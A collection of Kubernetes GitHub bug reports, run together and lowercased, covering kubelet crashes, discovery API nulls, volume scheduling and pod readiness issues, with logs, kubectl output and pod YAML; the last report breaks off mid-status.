--kubeconfig=/var/lib/kubelet/kubeconfig \\\r --cluster-dns=10.32.0.10 \\\r --cluster-domain=cluster.local \\\r --fail-swap-on=false \\\r --eviction-hard='memory.available<256mi' \\\r --network-plugin=cni \\\r --pod-cidr=10.200.1.0/24 \\\r --container-runtime=docker \\\r --node-labels=env=test \\\r --image-pull-progress-deadline=2m \\\r --runtime-request-timeout=15m \\\r --register-node=true \\\r --v=2\r    \r \r i put the two complete stack traces  in a gist  https://gist.github.com/sstelfox/cae1474dcf575b332cf8a28804ee58f7  but the most relevant parts seem to be:\r \r    \r unexpected fault address 0xc420dac140\r fatal error: fault\r  signal sigsegv: segmentation violation code=0x2 addr=0xc420dac140 pc=0xc420dac140 \r \r goroutine 211  running :\r runtime.throw 0x38a42e3, 0x5 \r         /usr/lib64/go/src/runtime/panic.go:605 +0x95 fp=0xc420aa6c98 sp=0xc420aa6c78 pc=0x42ea55\r runtime.sigpanic  \r         /usr/lib64/go/src/runtime/signal_unix.go:374 +0x227 fp=0xc420aa6ce8 sp=0xc420aa6c98 pc=0x445947\r created by k8s.io/kubernetes/pkg/kubelet/volumemanager.  volumemanager .run\r         /var/tmp/portage/sys-cluster/kubelet-1.9.1/work/kubelet-1.9.1/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/volume_manager.go:244 +0xa3\r    \r \r and:\r \r    \r panic: runtime error: index out of range\r fatal error: panic holding locks\r \r goroutine 189  running :\r runtime.throw 0x38c896e, 0x13 \r \t/usr/lib64/go/src/runtime/panic.go:605 +0x95 fp=0xc420de5b18 sp=0xc420de5af8 pc=0x42ea55\r panic 0x3177a60, 0x5743ac0 \r \t/usr/lib64/go/src/runtime/panic.go:451 +0x579 fp=0xc420de5bc0 sp=0xc420de5b18 pc=0x42e619\r runtime.panicindex  \r \t/usr/lib64/go/src/runtime/panic.go:28 +0x5e fp=0xc420de5be0 sp=0xc420de5bc0 pc=0x42cffe\r runtime.selectgo 0xc420de5e98, 0xc420b368a0 \r \t/usr/lib64/go/src/runtime/select.go:363 +0x1df2 fp=0xc420de5e58 sp=0xc420de5be0 pc=0x441752\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc4211aa4b0, 0x5f5e100, 0x0, 0xc4211aa401, 0xc420066120 \r \t/var/tmp/portage/sys-cluster/kubelet-1.9.1/work/kubelet-1.9.1/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:145 +0x17e fp=0xc420de5f28 sp=0xc420de5e58 pc=0x57c17e\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc4211aa4b0, 0x5f5e100, 0xc420066120 \r \t/var/tmp/portage/sys-cluster/kubelet-1.9.1/work/kubelet-1.9.1/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x4d fp=0xc420de5f60 sp=0xc420de5f28 pc=0x57bfed\r k8s.io/kubernetes/pkg/kubelet/volumemanager/populator.  desiredstateofworldpopulator .run 0xc420c59800, 0x576ec20, 0xc420c02780, 0xc420066120 \r \t/var/tmp/portage/sys-cluster/kubelet-1.9.1/work/kubelet-1.9.1/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/populator/desired_state_of_world_populator.go:135 +0xdd fp=0xc420de5fc0 sp=0xc420de5f60 pc=0x2b1dc0d\r runtime.goexit  \r \t/usr/lib64/go/src/runtime/asm_amd64.s:2337 +0x1 fp=0xc420de5fc8 sp=0xc420de5fc0 pc=0x45fe31\r created by k8s.io/kubernetes/pkg/kubelet/volumemanager.  volumemanager .run\r \t/var/tmp/portage/sys-cluster/kubelet-1.9.1/work/kubelet-1.9.1/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/volume_manager.go:244 +0xa3\r    \r \r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r daemonset has an e2e test running  should retry creating failed daemon pods  that has dubious purpose.\r \r   what you expected to happen  :\r the e2e test should be refactored and commented clearer as it will be part of the conformance.

this test is failing in both gce serial suite:\r http://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-serial\r \r  / /  /status approved-for-milestone\r \r cc @jdumars @jberkus @mrhohn \r /assign @thockin @dcbw @caseydavenport \r ptal

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r discovery api  /apis/  and  /apis/<apigroup>/  respond with  null  for  required  https://github.com/kubernetes/kubernetes/blob/3cb73605aa6679b24a4cefadd41eb2669b06bab9/api/swagger-spec/apis.json l63-l66   serveraddressbyclientcidrs  property, which fails the validation in generated python client.  ref: https://github.com/kubernetes-client/python/issues/418 \r \r in  apishandler  and  apigrouphandler , we didn't initialize  serveraddressbyclientcidrs  for the returned  discoverygroup :\r \r https://github.com/kubernetes/kubernetes/blob/8b6a4e14ffb6661f987af83e63c59b9cc8632d46/staging/src/k8s.io/kube-aggregator/pkg/apiserver/handler_apis.go l63\r \r   what you expected to happen  :\r  serveraddressbyclientcidrs  in  metav1.apigroup  should be  optional  if apiserver is not currently using it, otherwise apiserver should initialize an empty slice for it:\r \r https://github.com/kubernetes/kubernetes/blob/3cb73605aa6679b24a4cefadd41eb2669b06bab9/staging/src/k8s.io/apimachinery/pkg/apis/meta/v1/types.go l795-l802\r \r note that  serveraddressbyclientcidrs  in  metav1.apiversions  for legacy api is properly set. \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r bring up a cluster from head and request for  /apis/  or one of the api groups through kubectl proxy or kubectl api-versions, and look for the  null  in response. e.g.:\r \r    \r {\r   \ kind\ : \ apigroup\ ,\r   \ apiversion\ : \ v1\ ,\r   \ name\ : \ certificates.k8s.io\ ,\r   \ versions\ :  \r     {\r       \ groupversion\ : \ certificates.k8s.io/v1beta1\ ,\r       \ version\ : \ v1beta1\ \r     }\r    ,\r   \ preferredversion\ : {\r     \ groupversion\ : \ certificates.k8s.io/v1beta1\ ,\r     \ version\ : \ v1beta1\ \r   },\r   \ serveraddressbyclientcidrs\ : null\r }\r    \r \r  /assign

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r kind bug\r >  \r \r   what happened  :\r kubernetes installation from source on archlinux installation fails on to the stage:\r      cmd/gke-certificates-controller\r with error:\r rsync: write failed on \ /home/hsafe/downloads/apps/kubernetes/new_dir/kubernetes/src/kubernetes-1.9.3/_output/local/bin/linux/amd64/e2e.test\ : no space left on device  28 \r rsync error: error in file io  code 11  at receiver.c 374   receiver=3.1.3 \r \r   what you expected to happen  :\r it's installation to take full steps done\r \r   how to reproduce it  as minimally and precisely as possible   :\r i did the yaourt install of the same package, and it fails exactly on the same stage.\r \r   anything else we need to know?  :\r there is a reported bug for the kubernetes complaining for the version of the go version,which there is a patch for it: fc37221db5d08eb9553273ad6202a2557cfde131.patch\r   environment  :\r - kubernetes version  use  kubectl version  :\r kubernetes-1.9.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r archlinux \r - kernel  e.g.  uname -a  :\r architecture: x86-64\r - install tools:\r makepkg and yaourt\r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r kubelet reports wrong pvc metrics for pvc which does not exist in the cluster any more.\r \r curl -ks https://127.0.0.01:10250/metrics | grep es-persistent-storage-elasticsearch-logging-0\r kubelet_volume_stats_available_bytes{namespace=\ kube-logging\ ,persistentvolumeclaim=\ es-persistent-storage-elasticsearch-logging-0\ } 5.8956210176e+10\r \r   what you expected to happen  :\r \r curl -ks https://127.0.0.01:10250/metrics | grep es-persistent-storage-elasticsearch-logging-0 | wc -l\r 0\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r did not test it yet. but try to create a pod which use pvc and then delete it.\r \r   anything else we need to know?  :\r \r restarting kubelet solve the issue\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-13t22:29:03z\ , goversion:\ go1.9.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :\r \r    \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r    \r \r - kernel  e.g.  uname -a  :\r linux ip-10-8-202-28 4.4.111-k8s  1 smp sun jan 14 19:32:08 utc 2018 x86_64 gnu/linux\r \r - install tools: kops\r - others:\r

bug report  :\r \r \r  \r \r \r   what happened  :\r when the kubelet create sandbox by cni plugin.\r it will just use exec.cmd to call the cni binary file.\r in some cni plugin,such as contiv,the cni binary file may be locked and no return.\r in this case, when kubelet first time call runpodsandbox got a ctx timeout. the next time kubelet re-creates podsandbox, it will always report this timeout.\r \r ! image  https://user-images.githubusercontent.com/8232349/42195729-f27d870c-7eac-11e8-97a9-ed5106a9dee9.png \r \r   what you expected to happen  :\r next time  kubelet re-creates podsandbox it will do call cni again.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a pod in a node,and make the cni binary file not return.\r \r   environment  :\r - kubernetes version  use  kubectl version  :v.1.9.2\r \r @kubernetes/sig-node-bugs

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r when node becomes 'notready', the 'unknown ' pod can't be deleted.\r \r \\  kubectl get pod kubernetes-dashboard-db4db8c77-4qqvm -n kube-system\r name                                   ready     status    restarts   age\r kubernetes-dashboard-db4db8c77-4qqvm   1/1       unknown   0          3h\r \\  kubectl delete pod kubernetes-dashboard-db4db8c77-4qqvm -n kube-system \r pod \ kubernetes-dashboard-db4db8c77-4qqvm\  deleted\r \\  kubectl get pod kubernetes-dashboard-db4db8c77-4qqvm -n kube-system\r name                                   ready     status    restarts   age\r kubernetes-dashboard-db4db8c77-4qqvm   1/1       unknown   0          3h\r \\  kubectl delete pod kubernetes-dashboard-db4db8c77-4qqvm --force --grace-period=0 -n kube-system \r warning: immediate deletion does not wait for confirmation that the running resource has been terminated. the resource may continue to run on the cluster indefinitely.\r pod \ kubernetes-dashboard-db4db8c77-4qqvm\  deleted\r \\  kubectl get pod kubernetes-dashboard-db4db8c77-4qqvm -n kube-system\r error from server  notfound : pods \ kubernetes-dashboard-db4db8c77-4qqvm\  not found\r \r   what you expected to happen  :\r node controller manager can delete pod from dead node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r when node's status become 'notready', it can be reprodeced\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r wrong proxy-client-cert-file file causes apiserver to restart due to loading by default deprecated module persistentvolumelabel.\r \r --enable-admission-plugins=namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,defaulttolerationseconds,mutatingadmissionwebhook,validatingadmissionwebhook,resourcequota,priority,podpreset\r \r jul 30 22:34:54 appserv9 kube-apiserver 19025 : i0730 22:34:54.420915   19025 plugins.go:149  loaded 11 admission controller s  successfully in the following order: namespacelifecycle,podpreset,limitranger,serviceaccount,priority,defaulttolerationseconds,  persistentvolumelabel  ,defaultstorageclass,mutatingadmissionwebhook,validatingadmissionwebhook,resourcequota.\r ...\r jul 30 22:34:56 appserv9 kube-apiserver 19025 : w0730 22:34:56.370374   19025 admission.go:68    persistentvolumelabel admission controller is deprecated. please remove this controller from your configuration files and scripts.  \r \r   what you expected to happen  :\r no persistentvolumelabel loaded.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r add proxy-client-cert-file with non existing file  i had typo in extension cert instead of crt \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r diamanti d10\r \r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r linux appserv9 3.10.0-693.el7.x86_64  1 smp tue aug 22 21:09:27 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

what happened  :\r \r 1. started a single-node kubernetes cluster with the  csinodeinfo  feature gate disabled  default \r 2. tried to create a pod that uses a claim that uses a storage class with  volumebindingmode: waitforfirstconsumer \r 3. got this message   kubectl describe pod/mypod  :\r \r    \r   warning  failedscheduling    25s   default-scheduler        pod has unbound immediate persistentvolumeclaims\r   normal   scheduled           21s   default-scheduler        successfully assigned default/app to ip-172-18-15-56.ec2.internal\r   warning  failedattachvolume  20s   attachdetach-controller  attachvolume.attach failed for volume \ pvc-970102a5-d1e1-11e8-a49a-0ecfa83a9ab2\  : rpc error: code = internal desc = could not attach volume \ vol-0feca9e2e21660115\  to node \ i-0a647985e4981fee6\ : could not attach volume \ vol-0feca9e2e21660115\  to node \ i-0a647985e4981fee6\ : incorrectstate: vol-0feca9e2e21660115 is not 'available'.\r \t\t   status code: 400, request id: 96e5c6cf-79dd-4273-889f-1bc526f5f280\r   warning  failedattachvolume  20s  attachdetach-controller  attachvolume.attach failed for volume \ pvc-970102a5-d1e1-11e8-a49a-0ecfa83a9ab2\  : rpc error: code = internal desc = could not attach volume \ vol-0feca9e2e21660115\  to node \ i-0a647985e4981fee6\ : could not attach volume \ vol-0feca9e2e21660115\  to node \ i-0a647985e4981fee6\ : incorrectstate: vol-0feca9e2e21660115 is not 'available'.\r \t\t   status code: 400, request id: 5a8a4553-5c0c-446e-8e51-04dee0c1d807\r   warning  failedattachvolume  19s  attachdetach-controller  attachvolume.attach failed for volume \ pvc-970102a5-d1e1-11e8-a49a-0ecfa83a9ab2\  : rpc error: code = internal desc = could not attach volume \ vol-0feca9e2e21660115\  to node \ i-0a647985e4981fee6\ : could not attach volume \ vol-0feca9e2e21660115\  to node \ i-0a647985e4981fee6\ : incorrectstate: vol-0feca9e2e21660115 is not 'available'.\r \t\t   status code: 400, request id: d2a05dbe-6673-456c-95ad-fd8582e923cb\r   warning  failedattachvolume  17s  attachdetach-controller  attachvolume.attach failed for volume \ pvc-970102a5-d1e1-11e8-a49a-0ecfa83a9ab2\  : rpc error: code = internal desc = could not attach volume \ vol-0feca9e2e21660115\  to node \ i-0a647985e4981fee6\ : could not attach volume \ vol-0feca9e2e21660115\  to node \ i-0a647985e4981fee6\ : incorrectstate: vol-0feca9e2e21660115 is not 'available'.\r \t\t   status code: 400, request id: 28a9ca4e-6305-471f-b744-36535bd2cada\r   normal   successfulattachvolume  13s               attachdetach-controller                attachvolume.attach succeeded for volume \ pvc-970102a5-d1e1-11e8-a49a-0ecfa83a9ab2\ \r   warning  failedmount             3s  x25 over 5s   kubelet, ip-172-18-15-56.ec2.internal  mountvolume.nodeaffinity check failed for volume \ pvc-970102a5-d1e1-11e8-a49a-0ecfa83a9ab2\  : no matching nodeselectorterms\r    \r \r the  mountvolume.nodeaffinity  check failed because of a missing label in the node  i.e.,  com.amazon.aws.csi.ebs/zone=us-east-1d  . this happened because of  69869.\r \r however, the scheduler shouldn't have scheduled the pod because any node matched the pv requirements.\r \r   what you expected to happen  :\r \r the scheduler shouldn't schedule the pod and a proper message is emitted.\r \r   anything else we need to know?  :\r \r pv:\r \r    \r   please edit the object below. lines beginning with a ' ' will be ignored,\r   and an empty file will abort the edit. if an error occurs while saving this file will be\r   reopened with the relevant failures.\r  \r apiversion: v1\r kind: persistentvolume\r metadata:\r   annotations:\r     pv.kubernetes.io/provisioned-by: com.amazon.aws.csi.ebs\r   creationtimestamp: \ 2018-10-17t07:52:30z\ \r   finalizers:\r   - kubernetes.io/pv-protection\r   - external-attacher/com-amazon-aws-csi-ebs\r   name: pvc-970102a5-d1e1-11e8-a49a-0ecfa83a9ab2\r   resourceversion: \ 639\ \r   selflink: /api/v1/persistentvolumes/pvc-970102a5-d1e1-11e8-a49a-0ecfa83a9ab2\r   uid: 995153d2-d1e1-11e8-a49a-0ecfa83a9ab2\r spec:\r   accessmodes:\r   - readwriteonce\r   capacity:\r     storage: 4gi\r   claimref:\r     apiversion: v1\r     kind: persistentvolumeclaim\r     name: claim1\r     namespace: default\r     resourceversion: \ 625\ \r     uid: 970102a5-d1e1-11e8-a49a-0ecfa83a9ab2\r   csi:\r     driver: com.amazon.aws.csi.ebs\r     fstype: ext4\r     volumeattributes:\r       storage.kubernetes.io/csiprovisioneridentity: 1539762711928-8081-com.amazon.aws.csi.ebs\r     volumehandle: vol-0feca9e2e21660115\r   nodeaffinity:\r     required:\r       nodeselectorterms:\r       - matchexpressions:\r         - key: com.amazon.aws.csi.ebs/zone\r           operator: in\r           values:\r           - us-east-1d\r   persistentvolumereclaimpolicy: delete\r   storageclassname: slow\r status:\r   phase: bound\r    \r \r storage class:\r \r    \r   please edit the object below. lines beginning with a ' ' will be ignored,\r   and an empty file will abort the edit. if an error occurs while saving this file will be\r   reopened with the relevant failures.\r  \r apiversion: v1\r kind: persistentvolume\r metadata:\r   annotations:\r     pv.kubernetes.io/provisioned-by: com.amazon.aws.csi.ebs\r   creationtimestamp: \ 2018-10-17t07:52:30z\ \r   finalizers:\r   - kubernetes.io/pv-protection\r   - external-attacher/com-amazon-aws-csi-ebs\r   name: pvc-970102a5-d1e1-11e8-a49a-0ecfa83a9ab2\r   resourceversion: \ 639\ \r   selflink: /api/v1/persistentvolumes/pvc-970102a5-d1e1-11e8-a49a-0ecfa83a9ab2\r   uid: 995153d2-d1e1-11e8-a49a-0ecfa83a9ab2\r spec:\r   accessmodes:\r   - readwriteonce\r   capacity:\r     storage: 4gi\r   claimref:\r     apiversion: v1\r     kind: persistentvolumeclaim\r     name: claim1\r     namespace: default\r     resourceversion: \ 625\ \r     uid: 970102a5-d1e1-11e8-a49a-0ecfa83a9ab2\r   csi:\r     driver: com.amazon.aws.csi.ebs\r     fstype: ext4\r     volumeattributes:\r       storage.kubernetes.io/csiprovisioneridentity: 1539762711928-8081-com.amazon.aws.csi.ebs\r     volumehandle: vol-0feca9e2e21660115\r   nodeaffinity:\r     required:\r       nodeselectorterms:\r       - matchexpressions:\r         - key: com.amazon.aws.csi.ebs/zone\r           operator: in\r           values:\r           - us-east-1d\r   persistentvolumereclaimpolicy: delete\r   storageclassname: slow\r status:\r   phase: bound\r \r    \r \r    cc @msau42

what happened  :\r a pod  without readinessgates  is deemed non-ready by kubernetes, despite all containers in the pod being ready.\r \r   what you expected to happen  :\r readiness status on pods  with no explicit readinessgates  to match the status of the composing containers.\r \r   how to reproduce it  as minimally and precisely as possible   :\r no definitive way to reproduce yet. seems to happen at random.\r \r   anything else we need to know?  :\r here is a sample pod yaml  incl. status showing the pod as not-ready :\r \r    \r kind: pod\r metadata:\r   annotations:\r     cni.projectcalico.org/podip: 100.96.77.162/32\r     kubernetes.io/limit-ranger: 'limitranger plugin set: cpu, memory request for init\r       container kafka-init-1; cpu, memory limit for init container kafka-init-1; cpu,\r       memory request for init container kafka-init-2; cpu, memory limit for init container\r       kafka-init-2'\r     kubernetes.io/psp: relaxed\r   creationtimestamp: \ 2018-12-17t21:27:20z\ \r   generatename: kafka-sit-c-\r   labels:\r     app: kafka\r     controller-revision-hash: kafka-sit-c-6f977df46c\r     release: sit\r     statefulset.kubernetes.io/pod-name: kafka-sit-c-1\r   name: kafka-sit-c-1\r   namespace: cmp-div-proj-sit\r   ownerreferences:\r   - apiversion: apps/v1\r     blockownerdeletion: true\r     controller: true\r     kind: statefulset\r     name: kafka-sit-c\r     uid: af6d68b5-f750-11e8-9193-06e32eed3b3a\r   resourceversion: \ 410762034\ \r   selflink: /api/v1/namespaces/cmp-div-proj-sit/pods/kafka-sit-c-1\r   uid: 8928fd93-0242-11e9-8226-06ea597d7894\r spec:\r   affinity:\r     nodeaffinity:\r       requiredduringschedulingignoredduringexecution:\r         nodeselectorterms:\r         - matchexpressions:\r           - key: failure-domain.beta.kubernetes.io/zone\r             operator: in\r             values:\r             - eu-west-1c\r     podantiaffinity:\r       requiredduringschedulingignoredduringexecution:\r       - labelselector:\r           matchexpressions:\r           - key: app\r             operator: in\r             values:\r             - kafka\r           - key: release\r             operator: in\r             values:\r             - sit\r         topologykey: kubernetes.io/hostname\r   containers:\r   - command:\r     - sh\r     - -c\r     - jmx_port=1099 kafka_jmx_opts=\ $kafka_jmx_opts -javaagent:/opt/kafka/libs/jmx_prometheus_javaagent-0.10.jar=8080:/opt/kafka/custom/kafka-jmx-config.yaml\r       -djava.rmi.server.hostname=kafka-sit-c-${hostname   -}.kafka-sit.cmp-div-proj-sit.svc.cluster.local\ \r       ./bin/kafka-server-start.sh /opt/kafka/custom/server.properties --override log.dirs=/opt/kafka/data/logs\r     env:\r     - name: az_suffix\r       value: c\r     - name: helm_chart_version\r       value: ds-proj-kafka-az-1.2.48\r     - name: kafka_jmx_opts\r       value: -dcom.sun.management.jmxremote=true -dcom.sun.management.jmxremote.authenticate=true\r         -dcom.sun.management.jmxremote.ssl=false -dcom.sun.management.jmxremote.password.file=/opt/kafka/custom/jmxremote.password\r         -dcom.sun.management.jmxremote.access.file=/opt/kafka/custom/jmxremote.access\r         -dcom.sun.management.jmxremote.rmi.port=1099\r     - name: kafka_log4j_opts\r       value: -dlog4j.configuration=file:/opt/kafka/custom/log4j.properties\r     - name: kafka_heap_opts\r       value: -xmx6g -xms6g -xx:metaspacesize=96m -xx:g1heapregionsize=16m -xx:minmetaspacefreeratio=50\r         -xx:maxmetaspacefreeratio=80\r     - name: kafka_opts\r       value: -djava.security.auth.login.config=/opt/kafka/secrets/jaas-server.conf\r         -duser.home=/opt/kafka\r     - name: cmp_div_environment\r       value: cmp-dev\r     image: registry.cmp.com/divathena/div-kafka:1.00.00-20181217-63\r     imagepullpolicy: ifnotpresent\r     lifecycle:\r       poststart:\r         exec:\r           command:\r           - /bin/bash\r           - /opt/kafka/custom/post-start-hook.sh\r     name: kafka-broker\r     ports:\r     - containerport: 9092\r       protocol: tcp\r     - containerport: 9093\r       name: kafka\r       protocol: tcp\r     - containerport: 1099\r       name: jmx\r       protocol: tcp\r     resources:\r       limits:\r         cpu: \ 8\ \r         memory: 30gi\r       requests:\r         cpu: 500m\r         memory: 30gi\r     securitycontext:\r       allowprivilegeescalation: false\r       procmount: default\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /opt/kafka/custom\r       name: custom-config\r     - mountpath: /opt/kafka/data\r       name: datadir\r     - mountpath: /opt/kafka/secrets/server.keystore.jks\r       name: kafka-secrets\r       readonly: true\r       subpath: server.keystore.jks\r     - mountpath: /opt/kafka/.cmp/credentials.properties\r       name: kafka-secrets\r       readonly: true\r       subpath: credentials.properties\r     - mountpath: /opt/kafka/secrets/jaas-server.conf\r       name: kafka-secrets\r       readonly: true\r       subpath: jaas-server.conf\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-6jhr2\r       readonly: true\r   dnspolicy: clusterfirst\r   hostname: kafka-sit-c-1\r   imagepullsecrets:\r   - name: divathena-jenkins-pull-pull-secret\r   initcontainers:\r   - command:\r     - sh\r     - -c\r     - chmod 777 /opt/kafka/data && groupadd kafka && useradd -d /opt/kafka -g kafka\r       kafka && chown kafka:kafka -r /opt/kafka/data\r     image: registry.cmp.com/divathena/div-java-9:20180223-01\r     imagepullpolicy: ifnotpresent\r     name: kafka-init-1\r     resources:\r       limits:\r         cpu: 200m\r         memory: 200mi\r       requests:\r         cpu: 100m\r         memory: 100mi\r     securitycontext:\r       allowprivilegeescalation: false\r       procmount: default\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /opt/kafka/data\r       name: datadir\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-6jhr2\r       readonly: true\r   - command:\r     - /bin/bash\r     - /opt/kafka/init/init.sh\r     env:\r     - name: az_suffix\r       value: c\r     - name: keystore_password\r       valuefrom:\r         secretkeyref:\r           key: keystore.password\r           name: kafka-sit\r     - name: jmx_user\r       valuefrom:\r         secretkeyref:\r           key: jmx.remote.user\r           name: kafka-sit\r     - name: jmx_password\r       valuefrom:\r         secretkeyref:\r           key: jmx.remote.password\r           name: kafka-sit\r     image: registry.cmp.com/divathena/div-kafka:1.00.00-20181217-63\r     imagepullpolicy: ifnotpresent\r     name: kafka-init-2\r     resources:\r       limits:\r         cpu: 200m\r         memory: 200mi\r       requests:\r         cpu: 100m\r         memory: 100mi\r     securitycontext:\r       allowprivilegeescalation: false\r       procmount: default\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /opt/kafka/custom\r       name: custom-config\r     - mountpath: /opt/kafka/init\r       name: init-config\r     - mountpath: /opt/kafka/secrets/jmxremote.password\r       name: kafka-secrets\r       subpath: jmx.remote.password.file\r     - mountpath: /opt/kafka/secrets/jmxremote.access\r       name: kafka-secrets\r       subpath: jmx.remote.access.file\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-6jhr2\r       readonly: true\r   nodename: ip-10-117-10-30.eu-west-1.compute.internal\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: default\r   serviceaccountname: default\r   subdomain: kafka-sit\r   terminationgraceperiodseconds: 10\r   tolerations:\r   - effect: noschedule\r     key: node.kubernetes.io/memory-pressure\r     operator: exists\r   - effect: noexecute\r     key: node.kubernetes.io/not-ready\r     operator: exists\r     tolerationseconds: 300\r   - effect: noexecute\r     key: node.kubernetes.io/unreachable\r     operator: exists\r     tolerationseconds: 300\r   volumes:\r   - name: datadir\r     persistentvolumeclaim:\r       claimname: datadir-kafka-sit-c-1\r   - emptydir: {}\r     name: custom-config\r   - configmap:\r       defaultmode: 420\r       name: sit-kafka-config\r     name: init-config\r   - name: kafka-secrets\r     secret:\r       defaultmode: 420\r       secretname: kafka-sit\r   - name: default-token-6jhr2\r     secret:\r       defaultmode: 420\r       secretname: default-token-6jhr2\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: \ 2018-12-17t21:39:20z\ \r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r     lasttransitiontime: \ 2018-12-17t21:39:23z\ \r     status: \ false\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: \ 2018-12-17t21:39:23z\ \r     status: \ true\ \r     type: containersready\r   - lastprobetime: null\r     lasttransitiontime: \ 2018-12-17t21:27:20z\ \r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - containerid: docker://766a41eb43bbf74392c20cdf23aaa058c6989cc4eee801392d2cf6043c0aa011\r     image: registry.cmp.com/divathena/div-kafka:1.00.00-20181217-63\r     imageid: docker-pullable://registry.cmp.com/divathena/div-kafka@sha256:79305288c208e866d9a23711cdf2200a6c6c57bc96ecf3ff0d2b6417338be8cd\r     laststate: {}\r     name: kafka-broker\r     ready: true\r     restartcount: 0\r     state:\r       running:\r         startedat: \ 2018-12-17t21:39:21z\ \r   hostip: 10.117.10.30\r   initcontainerstatuses:\r   - containerid: docker://9d9da55b00b3ae4031056b31f314a73f6e27d78513011550c31eaf26b07f4322\r     image: registry.cmp.com/divathena/div-java-9:20180223-01\r     imageid: 